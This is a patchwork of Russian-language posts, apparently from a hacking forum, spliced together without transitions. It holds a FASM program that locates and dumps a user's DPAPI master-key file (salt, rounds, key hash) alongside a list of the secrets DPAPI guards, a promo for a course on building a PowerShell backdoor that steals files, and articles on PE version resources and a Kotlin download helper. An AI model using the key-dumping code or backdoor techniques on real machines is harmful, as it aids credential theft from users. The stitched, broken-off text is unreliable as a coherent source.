cAlternateFileName rb 14 ;// DOS-имя в формате 8.3
dwFileType dd 0 ;// 0
dwCreatorType dd 0 ;// 0
wFinderFlags dw 0 ;// 0
ends
Таким образом, в поле "cFileName" мы получим имя папки. Поскольку SID
пользователя всегда начинается с символов S-1-5-21-xxxxx
, то первые четыре
символа "S-1-" можно использовать в качестве маски для поиска. Дружелюбную
дату и время из 8-байтной структуры FILETIME можно получить функцией
FileTimeToSystemTime(), а папку юзера Roaming – функцией SHGetFolderPathA() с
флагом CSIDL_APPDATA. Вот пример такого алго:
C-like:Copy to clipboard
format pe console
entry start
;//------------
section '.inc' data readable
include 'win32ax.inc'
include 'equates\dpapi.inc'
;//------------
.data
userPath db 512 dup(0)
keyPath db '\Microsoft\Protect\*.*',0
preferred db '\preferred',0
fd WIN32_FIND_DATA
sysTime SYSTEMTIME
hndl dd 0
dwRet dd 0
fName db 64 dup(0)
buff db 0
;//------------
.code
start: invoke SetConsoleTitle,<'*** DPAPI MasterKey info ***',0>
;//-- Формируем путь до файла "Master-Key"
invoke SHGetFolderPathA,0,CSIDL_APPDATA,0,0,userPath
invoke lstrcat,userPath,keyPath
;//-- Вычисляем имя папки SID, с ключами пользователя
invoke FindFirstFile,userPath,fd
mov [hndl],eax
@find0: cmp dword[fd.cFileName],'S-1-'
je @found0
invoke FindNextFile,[hndl],fd
or eax,eax
jnz @find0
cinvoke printf,<10,' ERROR! KeyDir not found.',0>
jmp @exit
;//-- Каталог нашли – покажем SID юзера (имя папки)
@found0: invoke FindClose,[hndl]
cinvoke printf,<10,' User SID......: %s',0>,fd.cFileName
;//-- Добавляем к пути имя папки, чтобы открыть её
mov edi,userPath
xor ecx,ecx
dec ecx
mov al,'*'
repne scasb
dec edi
mov byte[edi],0
invoke lstrcat,userPath,fd.cFileName
invoke lstrcat,userPath,preferred
;//-- Прочитать из папки SID файл "Preferred"
invoke _lopen,userPath,0
or eax,eax ;// ошибка?
jns @next
cinvoke printf,<10,' ERROR! Preferred file not found.',0>
jmp @exit
@next: push eax
invoke _lread,eax,buff,24 ;// читаем файл в буфер
pop eax
invoke _lclose,eax
;//-- Покажем время действия мастер-ключа, из последних 8-байт файла "Preferred"
mov eax,buff
add eax,24-8
invoke FileTimeToSystemTime,eax,sysTime
movzx ecx,word[sysTime.wYear]
movzx ebx,word[sysTime.wMonth]
movzx eax,word[sysTime.wDay]
movzx edx,word[sysTime.wHour]
movzx esi,word[sysTime.wMinute]
cinvoke printf,<10,' Key valid time: %02d.%02d.%d %02d:%02d',0>,\
eax,ebx,ecx,edx,esi
;//-- Вытащим из файла "Preferred" GUID активного ключа,
;//-- и переведём его из Unicode в ANSI
invoke StringFromGUID2,buff,fName,dwRet
mov esi,fName
mov edi,esi
mov byte[esi],'\'
@@: lodsw
cmp al,'}'
je @f
stosb
jmp @b
@@: mov byte[edi],0
;//-- Наконец добавим к пути Guid в виде имени файла-ключа
invoke lstrlen,userPath
mov esi,userPath
add esi,eax
sub esi,10
mov byte[esi],0
invoke lstrcat,userPath,fName
;//-- Читаем файл мастер-ключа в свой буфер
invoke _lopen,userPath,0
or eax,eax ;// ошибка?
jns @open
cinvoke printf,<10,' ERROR! MasterKey file not openned.',0>
jmp @exit
@open: push eax
invoke _lread,eax,buff,468
pop eax
invoke _lclose,eax
;//*******************************************************
;//-- Проецируем структуру MASTERKEY_HEADER на данные файла-ключа,
;//-- и выводим всю инфу на консоль.
cinvoke printf,<10,10,' MasterKey HEADER ****',0>
mov esi,buff
push esi
mov eax,[esi + MASTERKEY_HEADER.dwVersion]
cinvoke printf,<10,' dwVersion........: 0x%08x = %d',0>,eax,eax
pop esi
add esi,MASTERKEY_HEADER.szGuid
cinvoke printf,<10,' szMasterKeyGuid..: {%ls}',0>,esi
mov esi,buff
mov eax,[esi + MASTERKEY_HEADER.dwPolicy]
mov ebx,[esi + MASTERKEY_HEADER.dwUserKeySize]
mov ecx,[esi + MASTERKEY_HEADER.dwLocalEncKeySize]
mov edx,[esi + MASTERKEY_HEADER.dwLocalKeySize]
mov edi,[esi + MASTERKEY_HEADER.dwDomainKeySize]
cinvoke printf,<10,' dwFlags..........: 0x%08x = %d',\
10,' dwMasterKey len..: 0x%08x = %d',\
10,' dwBackupKey len..: 0x%08x = %d',\
10,' dwCredHist len..: 0x%08x = %d',\
10,' dwDomainKey len..: 0x%08x = %d',0>,\
eax,eax,ebx,ebx,ecx,ecx,edx,edx,edi,edi
cinvoke printf,<10,10,' MasterKey INFO ******',0>
mov esi,buff
push esi
mov eax,[esi + MASTERKEY_HEADER.Version]
cinvoke printf,<10,' dwVersion........: 0x%08x = %d',\
10,' Salt (16-bytes)..: ',0>,eax,eax
pop esi
add esi,MASTERKEY_HEADER.pSalt
mov ecx,16
call PrintHexString
mov esi,buff
mov eax,[esi + MASTERKEY_HEADER.dwRounds]
cinvoke printf,<10,' PBKDF2 rounds....: 0x%08x = %d',0>,eax,eax
mov esi,buff
mov ebx,[esi + MASTERKEY_HEADER.HMACAlgId]
mov ecx,13
mov esi,HashTable
call GetAlgorithm
cinvoke printf,<10,' Hash algorithm..: 0x%08x = %s',0>,ebx,edx
mov esi,buff
mov ebx,[esi + MASTERKEY_HEADER.CryptAlgId]
mov ecx,4
mov esi,CryptTable
call GetAlgorithm
cinvoke printf,<10,' Crypt algorithm..: 0x%08x = %s',\
10,10,' Master-Key hash value............. ',10,10,0>,,ebx,edx
mov esi,buff
mov ecx,[esi + MASTERKEY_HEADER.dwUserKeySize]
add esi,MASTERKEY_HEADER.pKey
call PrintHexString
@exit: cinvoke _getch
cinvoke exit,0
;//------------
;//----- Процедура вывода дампа на консоль --------------
;//----- на входе: ESI = указатель на данные, ECX = длина
proc PrintHexString
mov ebp,16
@@: or ebp,ebp
jnz @miss
push ecx
cinvoke printf,<10,0>
pop ecx
mov ebp,16
@miss: xor eax,eax
lodsb
push ecx esi ebp
cinvoke printf,<' %02x',0>,eax
pop ebp esi ecx
dec ebp
loop @b
ret
endp
;//----- Процедура поиска алгоритмов --------------
;//----- на входе: EBX = код алгоритма, ESI = указатель на таблицу, ECX = длина таблицы
;//----- на выходе: EDX = указатель на строку с именем (см.инклуд DPAPI.INC)
proc GetAlgorithm
mov edx,unk
@findAlgo:
lodsd
cmp ebx,eax
jne @f
mov edx,[esi]
jmp @foundAlgo
@@: add esi,4
loop @findAlgo
@foundAlgo: ret
endp
;//------------
section '.idata' import data readable
library kernel32,'kernel32.dll',shell32,'shell32.dll',\
ole32,'ole32.dll',msvcrt,'msvcrt.dll'
import ole32,StringFromGUID2,'StringFromGUID2'
include 'api\kernel32.inc'
include 'api\shell32.inc'
include 'api\msvcrt.inc'
Обратите внимание на Guid мастер-ключа. В предыдущей программе мы шифровали данные при помощи CryptProtectData(), с последующим выводом результирующего BLOB'а на консоль. Если всё было сделано правильно, то Guid из блоба-данных должен совпадать с Guid'ом из блоба мастер-ключа, т.к. именно им и происходит шифрование. Как видим ошибок нет и ключ мы получили валидный:
5. Постскриптум
Система использует интерфейс DPAPI при защите большого зоопарка персональных данных. Это пароли и данные автозаполнения форм в браузерах IE, кукисов и паролей Chrome, учётных записей в Outlook, Win-Mail, FTP, для доступа к расшаренным папкам и ключам учёток Wi-Fi, для удаленного доступа к рабочему столу и многое другое. DPAPI активно юзают и сторонние разработчики типа Skype, GoogleTalk и др. К сожалению ограниченные объёмы статьи не позволяют охватить всего материала на эту тему (хотя и так получилось слишком много букаф) , а потому за бортом осталось много интересного. В скрепку кладу два представленных здесь исполняемых файла, а так-же инклуд с описанием основных структур DPAPI. Всем удачи, пока!
Автор @Marylin
codeby
https://forum.nim-lang.org/t/7830 - забавно, не так давно кто-то писал, что малварщики переписывают свой код с плюсов на ним, чтобы избежать детектов. Так вот аверы не парились, а просто поставили детекты на стандартную библиотеку языка. Теперь многие тулзы языка палятся аверами. Бедные ребята из комьюнити языка, теперь им это дерьмо как то разгребать.
Всем привет!
Кто нибудь знает, как программно определить тип контролёра Usb-брелка?
Пытался заглянуть в софтину "ChipEasy", но ничего внятного не видно. Без
драйвера и своих библиотек, она каким-то образом всё-же определяет контролёр.
В импорте у неё из заслуживающих внимание только SetupApi.dll, а какую именно
функцию юзает - так и не понял. Заранее спасибо!
[How to Show Download Progress, Kotlin- Style](https://xss.is/tg%3A//unsafe_url?url=https%3A%2F%2Fmedium.com%2Fbetter- programming%2Fshow-download-progress-in-kotlin-style-64d157995e27) - небольшая статья с хорошей иллюстрацией современных подходов к разработке на примере диалога загрузки файла.
Когда-то, на заре становления Android как самой популярной платформы, по сети
гуляло множество примеров реализации подобной функциональности. Обычно все
сводилось к использованию AsyncTask
и runOnUiThread()
, а сам код выглядел
как весьма далекая от паттерна MVC мешанина классов и методов.
Сегодня у нас есть мощные инструменты асинхронного программирования, позволяющие сделать этот код гораздо чище, понятнее и надежнее. И все это с использованием стандартных средств и библиотек разработки.
Итак, для начала создадим sealed-класс для управления состоянием загрузки:
Code:Copy to clipboard
sealed class DownloadStatus {
object Success : DownloadStatus()
data class Error(val message: String) : DownloadStatus()
data class Progress(val progress: Int): DownloadStatus()
}
Sealed-классы отличаются тем, что могут иметь только ограниченный и заранее определенный набор потомков. Нам нужно всего три состояния: 1. загрузка завершена, 2. ошибка загрузки, 3. текущий прогресс загрузки.
Теперь реализуем саму функцию загрузки:
Code:Copy to clipboard
suspend fun HttpClient.downloadFile(file: File, url: String): Flow<DownloadStatus> {
return flow {
val response = call {
url(url)
method = HttpMethod.Get
}.response
val byteArray = ByteArray(response.contentLength()!!.toInt())
var offset = 0
do {
val currentRead = response.content.readAvailable(byteArray, offset, byteArray.size)
offset += currentRead
val progress = (offset * 100f / byteArray.size).roundToInt()
emit(DownloadStatus.Progress(progress))
} while (currentRead > 0)
response.close()
if (response.status.isSuccess()) {
file.writeBytes(byteArray)
emit(DownloadStatus.Success)
} else {
emit(DownloadStatus.Error("File not downloaded"))
}
}
}
Это функция-расширение для класса HttpClient
Koltin-библиотеки Ktor. Являясь
расширением она может использовать методы класса HttpClient
напрямую, к тому
же нам нет необходимости создавать специальный утилитный класс для нее, в
остальном коде она будет выглядеть как метод класса HttpClient
.
Кроме того, что это функция-расширение, это еще и suspend-функция, которая
возвращает Flow (поток данных), содержащий текущее состояние загрузки. Это
значит, что код в теле функции будет выполнен не в момент вызова функции, а в
момент получения данных из самого Flow (с помощью метода collect()
). Это
позволит сделать код более структурированным и понятным.
Наконец, напишем функцию, которая будет запускать загрузку в фоновом потоке и динамически обновлять интерфейс приложения:
Code:Copy to clipboard
private fun downloadWithFlow() {
CoroutineScope(Dispatchers.IO).launch {
ktor.downloadFile(file, url).collect {
withContext(Dispatchers.Main) {
when (it) {
is DownloadStatus.Success -> {
// обновляем UI
}
is DownloadStatus.Error -> {
// обновляем UI
}
is DownloadStatus.Progress -> {
// обновляем UI
}
}
}
}
}
}
Вся логика в одной небольшой функции. Сначала запускаем фоновую корутину
(CoroutineScope(Dispatchers.IO).launch
), затем запускаем загрузку файла и
обновляем UI в соответствии с полученным из Flow состоянием.
@ezobnin
Три тома серии Write Great Code в PDF и EPUB от 2020 года:
You must have at least 5 reaction(s) to view the content.
Описание:
В этом курсе мы изучим этичный хакинг на языке Go. Go - это язык
программирования с открытым исходным кодом, созданный Google. Являясь одним из
самых быстрорастущих языков в плане популярности, самое время выбрать язык и
начать его использовать.
Сначала мы начнем с изучения того, почему мы должны использовать язык Go и
каковы его преимущества. Затем мы начнем изучать, что такое взлом и рассмотрим
различные виды взлома. Мы узнаем, как защитить себя по локальной сети,
разработав программу для изменения MAC-адреса. Затем мы создадим сетевой
сканер, который поможет нам сканировать устройства по локальной сети и
выяснять их IP и MAC-адреса. В ходе нашего курса мы подробно рассмотрим многие
аспекты взлома с использованием языка Go.
В более поздней части нашего курса мы начнем разрабатывать программы, которые
помогут нам во взломе. Сначала мы будем выполнять MITM атаку с использованием
ARP-спуфинга, а затем перехватывать трафик между пользователями. Затем мы
создадим наше собственное вредоносное ПО, которое даст нам полный контроль над
зараженным компьютером с помощью Power-Shell, т.е. вы сможете запускать
команды на удаленном ПК. Мы также разработаем функционал для кражи
пользовательских файлов с компьютера с помощью нашего бэкдора.
Автор: Fahad Sarwar
Продолжительность: 07:58:27
Язык: Английский
Spoiler: Скачать / смотреть:
Hidden content for authorized users.
Доброго времени суток, форумчане!
Есть ли у кого-нибудь линк на данную версию джавы: jdk 1.8.0_251 ? Гоголь выдает какой-то буллщит при запросах. Хорошего дня!
Исполняемые файлы имеют фишку, на которую начинающие программисты редко обращают внимание – это директория "VERSION" в секции-ресурсов. Её отсутствие характеризует кодера не с лучшей стороны, если только он не упустил эту инфу умышленно, чтобы замести за собой следы. Все зарекомендовавшие себя легальные разработчики стараются полностью заполнять этот дир, ведь согласитесь, что свойства файла "OllyDbg" в правом окне рисунка ниже вызывают больше доверия, чем подноготная того-же шпиона "Kerberos" на левом..
Здесь, значение полей "тип, размер, дата" система получает своими методами, а не считывает их из секции-ресурсов. Остальные-же поля хранятся в каталоге "RT_VERSION" самого файла, и на выходе из этой статьи мы узнаем, как их туда поместить. Отметим, что заполнять свойства подобного рода можно только в исполняемых файлах типа РЕ-32 (Portable-Executable 32/64 бит) , в числе которых: EXE, SYS, DRV, DLL, OCX и CPL:
Оглавление:
1. Секция-ресурсов файла, и типы каталогов в ней;
2. Проблемы языковых стандартов:
3.0. Практика – перечисление всех языков и кодовых страниц системы;
3.1. Практика – чтение ресурса "VERSIONINFO" из файла;
4. Эпилог.
------------------------------------------------------
1. Секция-ресурсов и типы каталогов в ней
Ресурсы в приложении – это связанные с ним статические данные, предназначенные в первую очередь для описания стандартных компонентов софта типа: меню, диалоговых окон, внешних шрифтов, иконок, курсоров, изображений, звуков, текстовых строк, манифестов и прочего хлама. В инклуде фасма "equates\kernel32.inc" прописаны константы возможных вариантов, которые можно найти обычным поиском по префиксу RT – ResourceType. Всего зарегистрировано в нём 24-типа, но мы остановимся только на одном из них – ресурсе "RT_VERSION" под номером 16:
Spoiler: Типы ресурсов
Code:Copy to clipboard
;// Resource types
;//*********************
RT_CURSOR = 1
RT_BITMAP = 2
RT_ICON = 3
RT_MENU = 4
RT_DIALOG = 5
RT_STRING = 6
RT_FONTDIR = 7
RT_FONT = 8
RT_ACCELERATOR = 9
RT_RCDATA = 10
RT_MESSAGETABLE = 11
RT_GROUP_CURSOR = 12
RT_GROUP_ICON = 14
RT_VERSION = 16
RT_DLGINCLUDE = 17
RT_PLUGPLAY = 19
RT_VXD = 20
RT_ANICURSOR = 21
RT_ANIICON = 22
RT_HTML = 23
RT_MANIFEST = 24
Если сравнивать данные в секции-ресурсов с классическими видами данных по образу внешних DLL-библиотек, то они имеют ряд перечисленных ниже преимуществ:
• Ресурс компилируется вместе с приложением в единый исполняемый файл, и становится доступным из его тушки прямым вызовом функций FindResource() и LoadResource() с указанием соответствующих констант (см.лист выше). В результате отпадает необходимость таскать за собой лишний груз в виде библиотек, картинок и прочих внешних файлов.
• Исходя из того, что в описании каждого ресурса имеются поле для установки языка и кодировки (Language/CodePage) , в ресурсах можно хранить нескольких языковых наборов, что даёт возможность создавать программы с многоязычным интерфейсом MUI – MultiLanguage User Interface. Для этого, на этапе инициализации приложения запрашивается текущий язык системы, и в соответствии с ним через LoadResource() в память подгружается требуемый набор.
• Уже скомпилированный двоичный ресурс без проблем поддаётся правке, при помощи специальных утилит из категории "Редактор ресурсов". Так, если вы потеряли исходные тексты программ, можно будет поменять иконку на новую, или подправить пару текстовых строк в диалоговом окне.
В большинстве случаях, на практике ресурсы создаются в виде трехуровневого древа, хотя документированный предел вложенных каталогов 32-бита (более 4 млрд). Иерархия секции такова, что имеется корневая директория верхнего уровня, внутри которой перечисляются все используемые данным файлом, типы ресурсов. Теперь, каждому типу нужно присвоить произвольное имя, чтобы в последующем можно было обращаться к нему. Дело в том, что внутри одной секции вполне-себе могут мирно сосуществовать несколько ресурсов одинакового типа, и в этом случае без уникальных имён никак не обойтись. Например чтобы указать версию на двух языках английский/французский и одно меню, можно прописать в корневую директорию три типа по такой схеме:
Code:Copy to clipboard
directory RT_VERSION, ver1,\
RT_VERSION, ver2,\
RT_MENU, menus
Следующим в иерархии каталогов идёт описатель конкретного типа. По заданным нами характеристикам его оформляет макрос "resource" компилятора. Он заносит в базу имя ресурса, его идентификатор, язык данных, и указатель на эти данные. В общем случае, зарытую в два этих каталога информацию можно рассматривать как структуру-заголовка "Header" каждого ресурса, которая предваряет собственно полезные данные с версией файла. Их разбором и оформлением в надлежащий вид занимается ещё один макрос "versioninfo", которому нужно передать целых шесть аргументов:
• аргумент(1) – имя ресурса, которое мы определили на предыдущем этапе;
• аргумент(2) – операционная система РЕ-файла: как-правило это константа VOS __ WINDOWS32
;
• аргумент(3) – тип нашего файла: VFT_APP
= программа, VFT_DLL
=
библиотека, VFT_DRV
= драйвер;
• аргумент(4) – подтип файла, в большинстве случаях не нужен с константой
VFT2_UNKNOWN
;
• аргумент(5) – идентификатор языка строковых данных;
• аргумент(6) – кодовая страница языка.
Для ресурса типа "VERSION", инженерами Microsoft предопределены всего 12 полей данных (на рис.ниже выделены коричневым) , которые программист может комбинировать в любом порядке. Имена этих полей являются системными константами для некоторых API-функций типа VerQueryValue() для извлечения содержимого поля, поэтому нужно указывать их строго соблюдая правописание, иначе функция будет возвращать ошибку " Неправильный аргумент". Это создаёт определённые неудобства, а потому советую создать заранее подготовленный текстовый шаблон секции, и подключать его к своему проекту посредством вызова include. На рисунке ниже, различными цветами выделена информация, которую нам дозволено менять – остальное всё константы:
Если скомпилировать этот исходник и просмотреть свойства полученного файла, то можно обнаружить, что система отображает не все поля версии, а только те, которые считает нужным. Но это вовсе не означает, что перечисленных полей нет в файле, и чтобы получить полный их лист, в следующей части мы напишем небольшое приложение. Авансом скажу, что в карманах этих штанин можно будет найти достаточно интересную информацию, которую скрывает от нас мастдай – например ф.и.о. создателя в комментах, и прочее:
2. Проблема языковых стандартов
Теперь, отложив скучную теорию в стол, немного попрактикуемся..
Но для начала, нужно рассмотреть весьма мерзкий подарочек от создавших API
индусов. Учитывая, что у них там растёт хороший "ганджубас", в этом нет ничего
удивительного, ведь только перемещаясь по открытым галлюциногенами порталам
можно было написать функцию, ожидающую в аргументе hex-значение в (!)текстовом
виде. Хоть это и верх извращения, остаётся только принять эту суровую
действительность, поскольку мелкософт ввёл нас в фактический режим апартеида,
полностью лишив права голоса.
Если стоит задача чтения из исполняемого файла ресурса "VERSION", то нас ожидают проблемы с указанием языка и кодировки "Language & CodePage". Причём это должны быть строго валидные значения, и никаких нулей там по-умолчанию нет. Дело в том, что функция VerQueryValue() извлекает информацию о версии из указанного ресурса. Однако чтобы подобраться к этой версии, необходимо сначала потянуть за функцию GetFileVersionInfoSize() (возвращает общий размер информации) , а затем её выхлоп передать в функцию GetFileVersionInfo(), которая и сбросит необработанные RAW-данные в буфер.
Только теперь можно будет через VerQueryValue() в цикле запрашивать по одной строке каждого из 12-ти текстовых полей версии. До этого момента вроде всё нормально – мелкософт часто практикует альянс из трёх последовательных функций. Но посмотрим на прототип этой функции:
C-like:Copy to clipboard
BOOL VerQueryValueA
pBlock dd 0 ;// указатель на буфер функции GetFileVersionInfo()
lpSubBlock dd 0 ;// указатель на строку с именем требуемой информации
lplpBuffer dd 0 ;// указатель на DWORD, куда вернётся адрес запрощенных данных
puLen dd 0 ;// указатель на DWORD, куда вернётся размер данных
;//**********************************
;// Варианты аргумента "lpSubBlock"
;//**********************************
;// возвращает линк на корневую структуру "VS_FIXEDFILEINFO"
lpSubBlock db '\',0
;// возвращает линк на "Lang-CP".
lpSubBlock db '\VarFileInfo\Translation',0
;// возвращает значение поля, указанного в "StrName"
lpSubBlock db '\StringFileInfo\Lang-CP\StrName',0
Обратите внимание на формат аргумента для чтения строковых данных '\StringFileInfo\Lang-CP\StrName'. Например если мы хотим прочитать из версии поле "LegalCopyright", которое хранится в кодировке 1033/1252 (Lang/CodePage в hex=0409/04E4) , то должны передать в функцию строку следующего вида.. Причём повторюсь, что кодировка должна быть не от фонаря, а валидная, иначе хоть данные и будут присутствовать в файле, функция всё-равно вернёт ошибку:
C-like:Copy to clipboard
invoke VerQueryValueA,pBlock,<'\StringFileInfo\040904E4\LegalCopyright',0>,lpBuffer,puLen
Как можно было до такого додуматься, и что мешало разделить эту строку на три самостоятельных аргумента? Когда не надо, они пихают в функции по 10-параметров, а здесь решили сэкономить на них. Тогда и кодировку можно было- бы передавать в человеческом hex-виде, и в цикле подставлять название следующего из возможных 12-ти полей версии. В общем одни лайки.. Теперь-же, приходится разгребать эту "кучу-навоза" вручную, динамически в цикле формируя требуемую строку из нескольких составляющих.
Но и это ещё не всё.. Как видно из описания, среди прочего функция может возвращать так-нужную нам строку "Lang/CodePage" (второй вариант в прототипе). Однако на практике делает она это криво, и иногда возвращает совсем не то, что ожидалось. Поэтому и здесь приходится ручками забирать инфу прямо из структуры "StringFileInfo". Как показали личные опыты, VerQueryValue() ищет кодировку в дочерней структуре "VarFileInfo", а она там не фиктивная. Вот и доверяй после этого мелкомягким индусам..
На рисунке ниже скрин буфера с данными о версии из секции-ресурсов, где зелёным выделено поле с валидным языком Lang, и кодовой страницей CP (0409h=1033 , 04B0h=1200) :
3.0. Практика – перечисление всех языков и кодовых страниц системы
Ради интереса напишем небольшую программу, которая сбросит на консоль коды, и связанные с ними текстовые строки всех поддерживаемых текущей ОС языков, и их кодовых страниц. Забегая вперёд скажу, что пример можно рассматривать как модуль для следующей программы, где будет представлен вариант чтения всех полей "VERSION" исполняемого файла. Алгоритм данного модуля держится всего на двух функциях – VerLanguageName() для запроса языка по переданному в аргументе коду, и родственной по функционалу GetCPInfoExA(), которая возвращает кодовую страницу СР в текстовом виде. Вот их прототипы (обе прописаны в kernel32.dll) :
C-like:Copy to clipboard
;// Возвращает размер строки, 0 = ошибка
;//**************************************
DWORD VerLanguageNameA
wLang dd 0 ;// код языка
szLang dd 0 ;// получим указатель на строку языка
cchLang dd 0 ;// получим размер строки
;// Возвращает: 1 = ОК, 0 = ошибка
;//**************************************
BOOL GetCPInfoExA
CodePage dd 0 ;// код языковой страницы
dwFlags dd 0 ;// резерв = 0
lpCPInfo dd 0 ;// указатель на структуру "CPIINFOEXA",
;// ...в которой по смещению(24) лежит строка
Программа ниже будет исправно отрабатывать на всей линейки Win любой разрядности. При старте нужно указать тип запроса: 1 = показать информацию о поддерживаемых системой языках, 2 = набор кодовых страниц. Я оформил их в отдельные процедуры, и добавил в исходник секцию-ресурсов, с описанием версии файла.
C-like:Copy to clipboard
format pe console
include 'win32ax.inc'
entry start
;//----------
.data
counter dd 0 ;// порядковый номер
total dd 0 ;// всего найдено в системе
buff db 0 ;// пригодится..
;//----------
.code
proc GetLanguageList ;//<---- Процедура поддержки языков
cinvoke printf,<'1',\
10,' ***************************',10,\
10,' Language list...',10,0>
invoke Sleep,1500 ;// пауза, чтобы осмотреться
xor ecx,ecx ;// EAX=0. Будет счётчиком цикла,
;// ...и сразу константой языка.
@@: push ecx
invoke VerLanguageName,ecx,buff,128 ;// получить язык по константе!
cmp eax,13h ;// остеить ошибки
jz @nul ;//
invoke CharToOem,buff,buff ;// преобразовать в ОЕМ для консоли
cinvoke printf,<10,' %04Xh = %05d = %s',0>,[counter],[counter],buff
inc [total] ;// счётчик найденных +1
@nul: pop ecx ;//
inc [counter] ;// номер языка +1
inc ecx ;// цикл +1
cmp ecx,0xffff ;// проверить на макс.
jnz @b ;// повторить, если не равно
;// иначе: распечать всего найденных
cinvoke printf,<10,10,' Total language found: %d',10,0>,[total]
ret
endp
;//==================================================================
proc GetCodePageList ;//<---- Процедура поддержки кодовых страниц
cinvoke printf,<'2',\
10,' ***************************',10,\
10,' CodePage list...',10,0>
invoke Sleep,1500
xor ecx,ecx ;// EAX=0. Счётчик и константа СР
@@: push ecx ;//
invoke GetCPInfoExA,ecx,0,buff ;// получить строку по константе!
or eax,eax ;// отсеить ошибки
jz @null ;//
invoke CharToOem,buff+24,buff+24 ;// строку в ОЕМ для консоли
cinvoke printf,<10,' %04Xh = %s',0>,[counter],buff+24
inc [total] ;// найденных +1
@null: pop ecx ;//
inc [counter] ;// код СР +1
inc ecx ;//
cmp ecx,0xffff ;// проверить цикл на переполнение
jnz @b ;//
cinvoke printf,<10,10,' Total CodePage found: %d',10,0>,[total]
ret
endp
;//***** ТОЧКА ВХОДА ***********************
start: invoke SetConsoleTitle,<'***Language/CodePage Info v0.1***',0>
cinvoke printf,<10,' ********** MENU ***********',\
10,' 1 = Language, 2 = CodePage',\
10,' Choise number: ',0>
@@: cinvoke getch ;// парсим выбор юзера
cmp al,'1' ;//
je @lang ;// если нажал (1)
cmp al,'2' ;//
jne @b ;// вернуться, если не (2)
call GetCodePageList ;// значит (2),
jmp @exit ;// ..и на выход.
@lang: call GetLanguageList ;// уходим на введённую единицу
@exit: cinvoke getch ;// GAME OVER!
cinvoke exit,0 ;//
;//----- ИМПОРТ ----------
section '.idata' import data readable
library msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',user32,'user32.dll'
import msvcrt, printf,'printf',getch,'_getch',exit,'exit'
include 'api\kernel32.inc'
include 'api\user32.inc'
;//----- РЕСУРСЫ ---------
section '.rsrc' resource data readable
directory RT_VERSION,ver1
resource ver1, 1, LANG_NEUTRAL, vInfo1
versioninfo vInfo1,\
VOS__WINDOWS32, VFT_APP, VFT2_UNKNOWN,\
LANG_ENGLISH + SUBLANG_DEFAULT, 1252,\ ;//<-------- Lang/CodePage
'CompanyName' , 'http://codeby.net',\
'LegalCopyright' , 'Copyright 2020-2021 (c)Marylin',\
'ProductName' , 'Lang/CodePage info',\
'ProductVersion' , '6.1.7601.3821',\
'FileDescription' , 'Win LCID identifier',\
'FileVersion' , '0.0.1',\
'OriginalFilename', 'LangCP.exe',\
'InternalName' , 'LangCP_32/64',\
'Comment' , 'codeby.net/forums/assembler.229/',\
'PrivateBuild' , '0.0.2',\
'SpecialBuild' , '00.01.00'
3.1. Практика – чтение ресурса "VERSIONINFO" из файла
Под занавес напишем ещё одну прожку, для просмотра свойств исполняемых файлов типа: exe,sys,dll,drv,ocx,cpl. Её код вытащит из секции-ресурсов блок с данными "VERSION" и распечатает на консоли его содержимое в форматированном виде. Алгоритм собрал в себе всё выше/изложенное в этой теме, и состоит из следующих частей:
1. Запросить у юзера расширение файлов.
2. Функцией FindFirstFile() начать поиск первого файла в текущем каталоге и если ошибка, то сразу на выход [9]. Имя найденного файла функция сбрасывает в свою структуру "WIN32_FIND_DATA" по смещению(44) – больше нам от неё ничего нужно.
3. Передать это имя функции GetFileVersionInfoSize(), чтобы узнать размер данных "RT_VERSION" в файле. Если функция вернёт нуль, значит в файле нет информации о версии, и сразу прыгаем в конец цикла [8], для поиска следующего файла в каталоге.
4. Если мы здесь, значит файл содержит нужную нам информацию, и мы считываем её в свой буфер посредством GetFileVersionInfo().
5. По смещению 86h от начала приёмного буфера будет лежать Unicode-строка с языком и кодовой страницей "Lang/CP". Теперь нужно перевести её в ANSI (отсеить парные нули) , и вставить в глобальную строку, которая будет определять собой аргумент для запроса конкретного поля версии. В дисциплинах такую операцию называют "конкатенация", или склеивание двух и более строк, в одну. Поскольку маркером конца строки всегда является нуль, то я не стал заморачиваться с этим, и оформил строку так:
C-like:Copy to clipboard
;// Константы полей "VERSION".
;// В первом байте хранится длина строки
;//**************************************
n01 db 11,'CompanyName',0
n02 db 14,'LegalCopyright',0
n03 db 15,'LegalTrademarks',0
n04 db 11,'ProductName',0
n05 db 14,'ProductVersion',0
n06 db 15,'FileDescription',0
n07 db 11,'FileVersion',0
n08 db 16,'OriginalFilename',0
n09 db 12,'InternalName',0
n10 db 12,'PrivateBuild',0
n11 db 12,'SpecialBuild',0
n12 db 07,'Comment',0
queryStr db '\StringFileInfo\' ;// начало строки (всегда постоянна)
cp db '........\' ;// резерв под 8 символьную hex-строку Lang/CP (будь она не ладна)
space db '.................: ',0 ;// резерв под макс.16 символов константы 'OriginalFilename',
;// .. +2 для форматированного вывода на консоль.
В результате, если теперь заполнить поля cp и spase, получим единую строку, которую можно будет вскормить в виде аргумента сл.функции чтения. Правда в зависимости от длинны строковой константы, нужно будет вставлять терминальный нуль в её хвост, но это уже дело техники (см.исходник).
6. На данном этапе имеем всё, чтобы считать очередную "строку версии" из файла – зовём для этого функцию VerQueryValue() и получаем указатель на запрошенную ANSI-строку. Поскольку часто разработчик заполняет строки кириллицей (а мы выводим их на консоль), то имеет смысл функцией CharToOem() сразу конвертировать их в кодировку СР-866.
7. Мотаем предыдущий пункт(6) ровно 12-раз, в цикле подставляя следующую текстовую константу в поле space. Это позволит проверить в файле все без исключения поля "VERSION" и если какое-нибудь из них пустое, функция VerQueryValue() будет возвращать ошибку, а мы пропускать вывод его на консоль.
8. По окончании внутреннего цикла из 12 итераций, сбрасываем все переменные в дефолт и функцией FindNextFile() переходим к поиску следующего файла в текущем каталоге. Если файлов с указанным расширением больше нет, функция вернёт ошибку, сигнализируя, что нам пора на выход из программы. Иначе, уходим на начало глобального цикла к этапу [3].
9. Заключительный этап требует всего-лишь освобождения дескриптора поиска функцией FindClose() и ожидания любой клавиши, чтобы осмотреться.
Ну и теперь собственно код, который реализует на практике описанный выше алгоритм:
C-like:Copy to clipboard
format pe console
include 'win32ax.inc'
entry start
;//----------
.data
nameTable dd n01,n02,n03,n04,n05,n06,n07,n08,n09,n10,n11,n12
nextOffs dd 0
n01 db 11,'CompanyName',0
n02 db 14,'LegalCopyright',0
n03 db 15,'LegalTrademarks',0
n04 db 11,'ProductName',0
n05 db 14,'ProductVersion',0
n06 db 15,'FileDescription',0
n07 db 11,'FileVersion',0
n08 db 16,'OriginalFilename',0
n09 db 12,'InternalName',0
n10 db 12,'PrivateBuild',0
